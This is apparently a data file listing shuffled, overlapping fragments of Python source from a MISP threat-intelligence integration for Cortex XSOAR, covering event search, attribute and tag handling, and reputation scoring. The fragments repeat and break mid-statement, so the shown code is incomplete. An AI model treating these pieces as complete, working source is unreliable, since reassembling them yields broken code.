if key in events[i]} events[i]['RelatedEvent'] = [] # there\",\n \"in error: return_error('Unable to connect to MISP because of a SSLCertVerificationError, ' 'Please\",\n \"Limits the number of attributes that will be written to the context Returns:\",\n \"include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit',\",\n \"Union[dict, list, str]: same object type that got in \\\"\\\"\\\" if isinstance(obj_to_build, list):\",\n \"CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}]\",\n \"= f\\\"## MISP create event\\\\nNew event with ID: {event_id} has been successfully created.\\\\n\\\"\",\n \"event or attribute. is_attribute (bool): if the given UUID is an attribute's one.\",\n \"-> list: \\\"\\\"\\\"returns list of attributes' values that match the search query when\",\n \"given attribute value in MISP and then calculates it's dbot score. The score\",\n \"= misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore\",\n \"ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace keys in Returns: Union[dict,\",\n \"else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\\\"No results were found in MISP\\\")\",\n \"elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as\",\n \"f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-attributes returned {len(response_for_context)} attributes\\\\n {pagination_message}\\\", attribute_highlights,\",\n \"not be decoded, may not a valid JSON\\\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names):\",\n \"= event_id if event_id else arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\") attributes_args.update({'id': event_id}) if event_id else None\",\n \"or a positive number\\\") if limit and limit < 0: raise DemistoException(\\\"limit should\",\n \"None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None\",\n \"has been successfully removed from the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',\",\n \"get_events_related_to_scored_tag(all_attributes, found_tag): \\\"\\\"\\\" This function searches for all the events that have the\",\n \"event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ]\",\n \"arg in demisto_args} # Replacing keys and values from Demisto to Misp's keys\",\n \"was scored as malicious or suspicious. If no tag was found, then the\",\n \"contains saved words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter for parameters\",\n \"dict): \\\"\\\"\\\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \\\"\\\"\\\" url_args =\",\n \"{number_of_results} attributes\\\", response_for_context[:number_of_results], [\\\"Value\\\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message\",\n \"it is set to 1 it says that it is an event's tag.\",\n \"is correct.') if \\\"Please make sure the API key and the URL are\",\n \"def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will be used only\",\n \"event = PYMISP.search(eventid=event_id) human_readable = f\\\"## MISP create event\\\\nNew event with ID: {event_id}\",\n \"be used only in output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise\",\n \"MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type: ignore\",\n \"i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key\",\n \"in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \\\"\\\"\\\" Args: template_name: template\",\n \"attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response =\",\n \"suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in\",\n \"CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No events found in\",\n \"'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def\",\n \"\\\"\\\"\\\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list\",\n \"added to related_events list Args: object_data_dict (dict): Event or attribute dict which includes\",\n \"if dbot_type == \\\"IP\\\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \\\"DOMAIN\\\": return Common.Domain(domain=value,\",\n \"= demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id =\",\n \"it is an attribute's tag. If the data is event's (is_event_level = true)\",\n \"it's tags. If so, the event will be added to related_events list Args:\",\n \"== 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event':\",\n \"'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\"\",\n \"includes the tag list. is_event_level (bool): Whether the attribute_dict was received from an\",\n \"demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids =\",\n \"field called inherited. When it is set to 1 it says that it\",\n \"requests.Response]) -> list: \\\"\\\"\\\"returns list of attributes' values that match the search query\",\n \"as delimiter for parameters and ';' as delimiter for operators. using the operators\",\n \"-> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment =\",\n \"'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS =\",\n \"suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args))\",\n \"url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc})\",\n \"output format. please note: attributes are excluded from search-events output as the information\",\n \"make sure the UUID exists.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable =\",\n \"= build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute`\",\n \"attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable\",\n \"isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for\",\n \"stayed only in the malicious one (as a tag that was configured to\",\n \"all the attributes that found (after limit the attributes amount to the given\",\n \"def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in\",\n \"outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\\\"No results\",\n \"url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object\",\n \"return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id')\",\n \"if dbot_type == \\\"URL\\\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \\\"\\\"\\\" Examples are\",\n \"arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True) pagination_args_validation(page, limit) response\",\n \"include_correlations: # return full related attributes only if the user wants to get\",\n \"DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if\",\n \"MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = {\",\n \"should be zero or a positive number\\\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = []\",\n \"for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \\\"\\\"\\\"returns list\",\n \"any of the complex operators the original input will be returned Returns: str:\",\n \"event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added\",\n \"url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool,\",\n \"{ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \\\"\\\"\\\" Gets 2 sets which include tag ids. If\",\n \"[ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response])\",\n \"for the given filters: {args}\\\") def delete_event(demisto_args: dict): \\\"\\\"\\\" Gets an event id\",\n \"Trust any certificate option.') if \\\"NewConnectionError\\\" in error: return_error('Unable to connect to MISP\",\n \"related to the tag. \\\"\\\"\\\" scored_events = [] if found_tag: for attribute in\",\n \"format \\\"\\\"\\\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \\\"\\\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str])\",\n \"indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\\\"No results were found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot,\",\n \"the attributes list by the event ids as the greater event ids are\",\n \"outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No events found in MISP for the given filters:\",\n \"response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value =\",\n \"obj_to_build (Union[dict, list, str]): object to replace keys in Returns: Union[dict, list, str]:\",\n \"GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def\",\n \"The tag that was scored as malicious or suspicious. event_name (str): Name of\",\n \"args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in\",\n \"called inherited. When it is set to 1 it says that it is\",\n \"response from the MISP search attribute request found_tag (str): The tag that was\",\n \"= [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in\",\n \"dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'},\",\n \"attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category =\",\n \"and event tags). Args: value (str): The indicator value (an IP address, email\",\n \"demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and\",\n \"(after limit the attributes amount to the given limit) and by sub-functions calculated\",\n \"return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag in\",\n \"== 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given url: {value} is\",\n \"no events should be found. Returns: list includes all the events that were\",\n \"create_event_command(demisto_args: dict): \\\"\\\"\\\"Creating event in MISP with the given attribute args\\\"\\\"\\\" new_event =\",\n \"# Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params()\",\n \"is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if\",\n \"event['Object'] ] def build_tag_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on the called\",\n \"if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score,\",\n \"(bool): if the given UUID belongs to an attribute (True) or event (False).\",\n \"object from keys in event_args events[i] = {key: events[i].get(key) for key in EVENT_FIELDS\",\n \"if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if\",\n \"if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return\",\n \"as it is part of the event scope). If the data is attribute's\",\n \"misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \\\"\\\"\\\" Gets a timestamp from MISP response (1546713469)\",\n \"= Unknown. note: - In case the same tag appears in both Malicious\",\n \"should be recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) :\",\n \"return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids =\",\n \"return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value):\",\n \"= set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id\",\n \"misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore def\",\n \"the MISP search attribute request found_tag (str): The tag that was scored as\",\n \"(if it is set to 0 or not exists) it says that it\",\n \"MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis\",\n \"'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj =\",\n \"Note: When limits the attributes amount, we sort the attributes list by the\",\n \"# type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag',\",\n \"exists in both sets, it will be removed from the suspicious tag ids\",\n \"= event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event):\",\n \"'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info':\",\n \"attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events)\",\n \"'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp':\",\n \"misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and\",\n \"indicator Please see an example for a response in test_data/reputation_command_response.json Please see an\",\n \"a list, please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP\",\n \"None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event:\",\n \"= demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type\",\n \"+= tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot\",\n \"no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def\",\n \"obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args:\",\n \"add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \\\"\\\"\\\"Gets an OSINT feed from url and\",\n \"event_id if event_id else arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\") attributes_args.update({'id': event_id}) if event_id else None distribution\",\n \"PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.') def\",\n \"'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate',\",\n \"The parsed outputs to context data (array of attributes). score: the indicator score\",\n \"event_to_human_readable(response: dict): event_highlights = [] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies\",\n \"'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute\",\n \"( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category',\",\n \"DemistoException(\\\"page should be zero or a positive number\\\") if limit and limit <\",\n \"if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events):\",\n \"elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command ==\",\n \"event's details. \\\"\\\"\\\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if\",\n \"found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list})\",\n \"PROXIES = handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES)\",\n \"\\\"event_id\\\") attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if\",\n \"} THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 }\",\n \"None def get_new_misp_event_object(args): \\\"\\\"\\\" Create a new MISP event object and set the\",\n \"add_object(event_id, obj) def add_domain_object(demisto_args: dict): \\\"\\\"\\\"Adds a domain object to MISP domain-ip description:\",\n \"} sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\\\"An\",\n \"'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score',\",\n \"CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \\\"\\\"\\\"Adds sighting to\",\n \"attributes found in MISP for the given filters: {args}\\\") def build_events_search_response(response: Union[dict, requests.Response])\",\n \"would like to add to tag_set_ids all the tags (event ones and the\",\n \"with the given attribute args\\\"\\\"\\\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if\",\n \"include tag ids. If there is an id that exists in both sets,\",\n \"if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id':\",\n \"outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will remove tag\",\n \"attribute's one. Otherwise it's event's. \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try:\",\n \"data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if\",\n \"return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY,\",\n \"response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\\\"Removing the required\",\n \"not a valid MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \\\"\\\"\\\"Sending\",\n \"In case the same tag appears in both Malicious tag ids and Suspicious\",\n \"not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj\",\n \"response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] =\",\n \"DemistoException(f'URL [{url}] is not a valid MISP feed. error: {e}') def add_object(event_id: str,\",\n \"Returns: GenericObjectGenerator: object created in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'},\",\n \"to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's\",\n \"is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has to be a\",\n \"found_tag_id, found_tag_name = \\\"\\\", \\\"\\\" for event in events_to_human_readable: # removing those fields\",\n \"an attribute's tag. If the data is event's (is_event_level = true) we would\",\n \"if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise\",\n \"is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets a list ot tag ids (each one is str), and verify\",\n \"isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return {\",\n \"in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build\",\n \"'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return\",\n \"will not post results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When\",\n \"url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def\",\n \"DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\" ) MISP_SEARCH_ARGUMENTS =\",\n \"tags. \\\"\\\"\\\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for\",\n \"'AND:', 'OR:' and 'NOT:' using ',' as delimiter for parameters and ';' as\",\n \"dbot_type == \\\"IP\\\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \\\"DOMAIN\\\": return Common.Domain(domain=value, dbot_score=dbot_score)\",\n \"demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise DemistoException(\\\"Adding the\",\n \"requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \\\"\\\"\\\" Gets 2 sets which include\",\n \"Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \\\"EMAIL\\\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \\\"URL\\\":\",\n \"be malicious is stronger than recognised as suspicious). \\\"\\\"\\\" common_ids = set(malicious_tag_ids) &\",\n \"MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args:\",\n \"outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No events found in MISP for the given\",\n \"for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if\",\n \"as e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in ['__main__', '__builtin__',\",\n \"required tag was failed. Please make sure the UUID exists.\\\") if is_attribute: response\",\n \"tag.get('inherited', 0) # field doesn't exist when this is an attribute level, default\",\n \"indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag,\",\n \"handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError\",\n \"limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event):\",\n \"readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\\\"No results were found in\",\n \"and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event =\",\n \"if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break\",\n \"formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event):\",\n \"= None): \\\"\\\"\\\"Adding attribute to a given MISP event object This function can\",\n \"build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type:\",\n \"ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text:\",\n \"args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page =\",\n \"raise DemistoException('ID or UUID not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid,\",\n \"'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \\\"\\\"\\\" misp_object\",\n \"def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\\\"'\\\", '\\\"')\",\n \"tag was failed. Please make sure the UUID exists.\\\") if is_attribute: response =\",\n \"MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else\",\n \"event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') }\",\n \"= build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if len(response_for_context)\",\n \"url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)})\",\n \"hash length, enter 